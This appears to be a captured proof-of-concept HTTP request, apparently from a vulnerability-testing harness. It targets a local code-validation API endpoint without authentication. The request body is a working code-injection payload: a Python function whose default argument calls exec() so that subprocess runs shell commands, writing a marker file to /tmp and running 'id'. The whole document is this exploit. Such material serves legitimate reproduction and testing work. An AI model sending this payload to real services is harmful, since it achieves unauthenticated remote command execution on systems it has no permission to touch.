POST http://localhost:27862/api/v1/validate/code
Content-Type: application/json
X-Notes: unauthenticated request, no cookies/API keys

{"code": "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"echo -n PRUVA-CMDEXEC-1788272103-6040-C-NEGCTL > /tmp/pruva_marker.txt; id\", shell=True))')): pass"}